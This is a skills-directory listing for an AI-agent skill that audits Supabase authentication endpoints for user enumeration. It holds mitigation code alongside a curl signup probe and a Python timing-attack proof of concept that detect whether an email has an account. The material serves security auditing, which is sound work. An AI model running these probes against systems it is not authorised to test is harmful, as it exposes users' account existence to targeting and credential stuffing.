MCPInstall

supabase-audit-auth-users

Test for user enumeration vulnerabilities through various authentication endpoints.

Installs
485
Last 24h
—
Trending rank
—
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yoanbernabeu/supabase-pentest-skills --skill supabase-audit-auth-users
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads supabase-audit-auth-users automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

User Enumeration Audit

🔴 CRITICAL: PROGRESSIVE FILE UPDATES REQUIRED

You MUST write to context files AS YOU GO, not just at the end.

  • Write to .sb-pentest-context.json IMMEDIATELY after each endpoint tested
  • Log to .sb-pentest-audit.log BEFORE and AFTER each test
  • DO NOT wait until the skill completes to update files
  • If the skill crashes or is interrupted, all prior findings must already be saved

This is not optional. Failure to write progressively is a critical error.

This skill tests for user enumeration vulnerabilities in authentication flows.

When to Use This Skill

  • To check if user existence can be detected
  • To test login, signup, and recovery flows for information leakage
  • As part of authentication security audit
  • Before production deployment

Prerequisites

  • Supabase URL and anon key available
  • Auth endpoints accessible

What is User Enumeration?

User enumeration occurs when an application reveals whether a user account exists through:

VectorIndicator
Different error messages"User not found" vs "Wrong password"
Response timingFast for non-existent, slow for existing
Response codes404 vs 401
Signup response"Email already registered"

Why It Matters

RiskImpact
Targeted attacksAttackers know valid accounts
PhishingConfirm targets have accounts
Credential stuffingReduce attack scope
PrivacyReveal user presence

Tests Performed

EndpointTest Method
/auth/v1/signupTry registering existing email
/auth/v1/tokenTry login with various emails
/auth/v1/recoverTry password reset
/auth/v1/otpTry OTP for various emails

Usage

Basic Enumeration Test

Test for user enumeration vulnerabilities

Test Specific Endpoint

Test login endpoint for user enumeration

Output Format

═══════════════════════════════════════════════════════════
 USER ENUMERATION AUDIT
═══════════════════════════════════════════════════════════

 Project: abc123def.supabase.co

 ─────────────────────────────────────────────────────────
 Signup Endpoint (/auth/v1/signup)
 ─────────────────────────────────────────────────────────

 Test: POST with known existing email
 Response for existing: "User already registered"
 Response for new email: User object returned

 Status: 🟠 P2 - ENUMERABLE

 The response clearly indicates if an email is registered.

 Exploitation:
 ```bash
 curl -X POST https://abc123def.supabase.co/auth/v1/signup \
   -H "apikey: [anon-key]" \
   -H "Content-Type: application/json" \
   -d '{"email": "target@example.com", "password": "test123"}'

 # If user exists: {"msg": "User already registered"}
 # If new user: User created or confirmation needed

───────────────────────────────────────────────────────── Login Endpoint (/auth/v1/token) ─────────────────────────────────────────────────────────

Test: POST with different email scenarios

Existing email, wrong password: ├── Response: {"error": "Invalid login credentials"} ├── Time: 245ms └── Code: 400

Non-existing email: ├── Response: {"error": "Invalid login credentials"} ├── Time: 52ms ← Significantly faster! └── Code: 400

Status: 🟠 P2 - ENUMERABLE VIA TIMING

Although the error message is the same, the response time is noticeably different: ├── Existing user: ~200-300ms (password hashing) └── Non-existing: ~50-100ms (no hash check)

Timing Attack PoC:

import requests
import time

def check_user(email):
    start = time.time()
    requests.post(
        'https://abc123def.supabase.co/auth/v1/token',
        params={'grant_type': 'password'},
        json={'email': email, 'password': 'wrong'},
        headers={'apikey': '[anon-key]'}
    )
    elapsed = time.time() - start
    return elapsed > 0.15  # Threshold

exists = check_user('target@example.com')

───────────────────────────────────────────────────────── Password Recovery (/auth/v1/recover) ─────────────────────────────────────────────────────────

Test: POST recovery request for different emails

Existing email: ├── Response: {"message": "Password recovery email sent"} ├── Time: 1250ms (email actually sent) └── Code: 200

Non-existing email: ├── Response: {"message": "Password recovery email sent"} ├── Time: 85ms ← Much faster (no email sent) └── Code: 200

Status: 🟠 P2 - ENUMERABLE VIA TIMING

Same message, but timing reveals existence. Existing users trigger actual email sending (~1s+).

───────────────────────────────────────────────────────── Magic Link / OTP (/auth/v1/otp) ─────────────────────────────────────────────────────────

Test: Request OTP for different emails

Existing email: ├── Response: {"message": "OTP sent"} ├── Time: 1180ms └── Code: 200

Non-existing email: ├── Response: {"error": "User not found"} ├── Time: 95ms └── Code: 400

Status: 🔴 P1 - DIRECTLY ENUMERABLE

The error message explicitly states user doesn't exist.

───────────────────────────────────────────────────────── Summary ─────────────────────────────────────────────────────────

Endpoints Tested: 4 Enumerable: 4 (100%)

Vulnerability Severity: ├── 🔴 P1: OTP endpoint (explicit message) ├── 🟠 P2: Signup endpoint (explicit message) ├── 🟠 P2: Login endpoint (timing attack) └── 🟠 P2: Recovery endpoint (timing attack)

Overall User Enumeration Risk: HIGH

An attacker can determine if any email address has an account in your application.

───────────────────────────────────────────────────────── Mitigation Recommendations ─────────────────────────────────────────────────────────

  1. CONSISTENT RESPONSES Return identical messages for all scenarios: "If an account exists, you will receive an email"

  2. CONSISTENT TIMING Add artificial delay to normalize response times:

    const MIN_RESPONSE_TIME = 1000; // 1 second
    const start = Date.now();
    // ... perform auth operation ...
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));
    return response;
    
  3. RATE LIMITING Already enabled: 3/hour per IP Consider per-email rate limiting too.

  4. CAPTCHA Add CAPTCHA for repeated attempts:

    • After 3 failed logins
    • For password recovery
    • For signup
  5. MONITORING Alert on enumeration patterns:

    • Many requests with different emails
    • Sequential email patterns (user1@, user2@, ...)

═══════════════════════════════════════════════════════════


## Timing Analysis

The skill measures response times to detect timing-based enumeration:

Existing user: ├── Password hash verification: ~200-300ms ├── Email sending: ~1000-2000ms └── Database lookup: ~5-20ms

Non-existing user: ├── No hash verification: 0ms ├── No email sending: 0ms └── Database lookup: ~5-20ms (not found)


Threshold detection:
- Difference > 100ms: Possible timing leak
- Difference > 500ms: Definite timing leak

## Context Output

```json
{
  "user_enumeration": {
    "timestamp": "2025-01-31T13:30:00Z",
    "endpoints_tested": 4,
    "vulnerabilities": [
      {
        "endpoint": "/auth/v1/otp",
        "severity": "P1",
        "type": "explicit_message",
        "existing_response": "OTP sent",
        "missing_response": "User not found"
      },
      {
        "endpoint": "/auth/v1/signup",
        "severity": "P2",
        "type": "explicit_message",
        "existing_response": "User already registered",
        "missing_response": "User created"
      },
      {
        "endpoint": "/auth/v1/token",
        "severity": "P2",
        "type": "timing_attack",
        "existing_time_ms": 245,
        "missing_time_ms": 52
      },
      {
        "endpoint": "/auth/v1/recover",
        "severity": "P2",
        "type": "timing_attack",
        "existing_time_ms": 1250,
        "missing_time_ms": 85
      }
    ]
  }
}

Mitigation Code Examples

Consistent Response Time

// Edge Function with normalized timing
const MIN_RESPONSE_TIME = 1500; // 1.5 seconds

Deno.serve(async (req) => {
  const start = Date.now();

  try {
    // Perform actual auth operation
    const result = await handleAuth(req);

    // Normalize response time
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));

    return new Response(JSON.stringify(result));
  } catch (error) {
    // Same timing for errors
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));

    // Generic error message
    return new Response(JSON.stringify({
      message: "Check your email if you have an account"
    }));
  }
});

Generic Error Messages

// Don't reveal user existence
async function requestPasswordReset(email: string) {
  // Always return success message
  const response = {
    message: "If an account with that email exists, " +
             "you will receive a password reset link."
  };

  // Perform actual reset in background (don't await)
  supabase.auth.resetPasswordForEmail(email).catch(() => {});

  return response;
}

MANDATORY: Progressive Context File Updates

⚠️ This skill MUST update tracking files PROGRESSIVELY during execution, NOT just at the end.

Critical Rule: Write As You Go

DO NOT batch all writes at the end. Instead:

  1. Before testing each endpoint → Log the action to .sb-pentest-audit.log
  2. After each timing measurement → Immediately update .sb-pentest-context.json
  3. After each enumeration vector found → Log the finding immediately

This ensures that if the skill is interrupted, crashes, or times out, all findings up to that point are preserved.

Required Actions (Progressive)

  1. Update .sb-pentest-context.json with results:

    {
      "user_enumeration": {
        "timestamp": "...",
        "endpoints_tested": 4,
        "vulnerabilities": [ ... ]
      }
    }
    
  2. Log to .sb-pentest-audit.log:

    [TIMESTAMP] [supabase-audit-auth-users] [START] Testing user enumeration
    [TIMESTAMP] [supabase-audit-auth-users] [FINDING] P1: OTP endpoint enumerable
    [TIMESTAMP] [supabase-audit-auth-users] [CONTEXT_UPDATED] .sb-pentest-context.json updated
    
  3. If files don't exist, create them before writing.

FAILURE TO UPDATE CONTEXT FILES IS NOT ACCEPTABLE.

MANDATORY: Evidence Collection

📁 Evidence Directory: .sb-pentest-evidence/05-auth-audit/enumeration-tests/

Evidence Files to Create

FileContent
enumeration-tests/login-timing.jsonLogin endpoint timing analysis
enumeration-tests/recovery-timing.jsonRecovery endpoint timing
enumeration-tests/otp-enumeration.jsonOTP endpoint message analysis

Evidence Format

{
  "evidence_id": "AUTH-ENUM-001",
  "timestamp": "2025-01-31T11:00:00Z",
  "category": "auth-audit",
  "type": "user_enumeration",

  "tests": [
    {
      "endpoint": "/auth/v1/token",
      "test_type": "timing_attack",
      "severity": "P2",

      "existing_user_test": {
        "email": "[KNOWN_EXISTING]@example.com",
        "response_time_ms": 245,
        "response": {"error": "Invalid login credentials"}
      },

      "nonexisting_user_test": {
        "email": "definitely-not-exists@example.com",
        "response_time_ms": 52,
        "response": {"error": "Invalid login credentials"}
      },

      "timing_difference_ms": 193,
      "result": "ENUMERABLE",
      "impact": "Can determine if email has account via timing"
    },
    {
      "endpoint": "/auth/v1/otp",
      "test_type": "explicit_message",
      "severity": "P1",

      "existing_user_response": {"message": "OTP sent"},
      "nonexisting_user_response": {"error": "User not found"},

      "result": "ENUMERABLE",
      "impact": "Error message explicitly reveals user existence"
    }
  ],

  "curl_commands": [
    "# Timing test - existing user\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"existing@example.com\", \"password\": \"wrong\"}'",
    "# Timing test - non-existing user\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"nonexistent@example.com\", \"password\": \"wrong\"}'"
  ]
}

Related Skills

  • supabase-audit-auth-config — Full auth configuration
  • supabase-audit-auth-signup — Signup flow testing
  • supabase-report — Include in final report

FAQ

What does the supabase-audit-auth-users skill do?

Test for user enumeration vulnerabilities through various authentication endpoints.

How do I install supabase-audit-auth-users?

Run npx skills add https://github.com/yoanbernabeu/supabase-pentest-skills --skill supabase-audit-auth-users in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/supabase-audit-auth-users/ (personal) or .claude/skills/supabase-audit-auth-users/ (project).

Which AI agents can use supabase-audit-auth-users?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is supabase-audit-auth-users safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains supabase-audit-auth-users?

It is published by yoanbernabeu in yoanbernabeu/supabase-pentest-skills. It has 485 recorded installs.

More from yoanbernabeu/supabase-pentest-skills

View all →

supabase-audit-rls

yoanbernabeu/supabase-pentest-skills

Test Row Level Security (RLS) policies for common bypass vulnerabilities and misconfigurations.

Security1.1K installs

supabase-audit-functions

yoanbernabeu/supabase-pentest-skills

Discover and test Supabase Edge Functions for security vulnerabilities and misconfigurations.

Security934 installs

supabase-pentest

yoanbernabeu/supabase-pentest-skills

Orchestrate a complete Supabase security audit with guided step-by-step execution and ownership confirmation.

Security701 installs

supabase-audit-auth-config

yoanbernabeu/supabase-pentest-skills

Analyze Supabase authentication configuration for security weaknesses and misconfigurations.

Data & Databases552 installs

supabase-audit-rpc

yoanbernabeu/supabase-pentest-skills

List and test exposed PostgreSQL RPC functions for security issues and potential RLS bypass.

Data & Databases527 installs

supabase-audit-realtime

yoanbernabeu/supabase-pentest-skills

Test Supabase Realtime WebSocket channels for unauthorized subscriptions and data exposure.

Data & Databases523 installs

Popular security skills

View category →

azure-compliance

microsoft/azure-skills

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

OfficialSecurity567K installs

minimal-run-and-audit

lllllllama/rigorpilot-skills

Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.

Security477.4K installs

seo-audit

coreyhaines31/marketingskills

When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.

Security238.7K installs

firebase-security-rules-auditor

firebase/agent-skills

Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.

OfficialSecurity139.1K installs

audit

pbakaus/impeccable

Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.

Security81.9K installs

competitors

coreyhaines31/marketingskills

When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.

Security79.3K installs